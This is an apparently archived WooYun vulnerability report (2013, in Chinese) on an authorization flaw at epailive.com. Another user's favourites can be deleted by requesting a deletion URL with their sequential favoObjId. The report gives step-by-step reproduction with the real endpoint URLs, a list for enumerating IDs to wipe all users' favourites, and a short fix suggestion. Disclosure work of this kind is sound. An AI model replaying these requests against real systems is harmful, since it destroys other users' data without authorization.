当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-023763

漏洞标题:易拍全球删除所有用户收藏的方法

相关厂商:epailive.com

漏洞作者: 小川

提交时间:2013-06-07 11:13

修复时间:2013-06-12 11:13

公开时间:2013-06-12 11:13

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-07: 细节已通知厂商并且等待厂商处理中
2013-06-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

其实就是个越权+遍历啦

详细说明:

首先注册两个账户USERA,USERB
首先登录USERA,随便收藏个商品
如下图:

.JPG


然后我们截获一下,删除收藏的请求

.JPG


我们看到删除的请求为
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
不要把请求发送过去,记录下这个favoObjId值为23342
刷新下页面,确保没有删除这个收藏,然后USERA可以退出了。
然后USERB登场,在浏览器上敲一下这个请求
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
好他的任务完成了,退出吧。
然后USERA再登场,查看下我的收藏。收藏品没了,大功告成!

.JPG


以上是证明了可以越权删除他人的收藏,每个用户收藏一个商品favoObjId就会加1.那么好吧,我们遍历一下:
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=1
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=2
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=3
.
.
.
.
http://www.epailive.com/member/favoAction_delAppMemFavo.do?type=1&favoCateId=&orderBy=0&favoObjId=23342
当然我是孩子,从不淘气......

漏洞证明:

.JPG


.JPG


.JPG

修复方案:

删除的收藏,准是当前用户的收藏品吗?亲?求礼品,求古董

版权声明:转载请注明来源 小川@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-06-12 11:13

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-06-13 09:08 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    。。。。。。。。。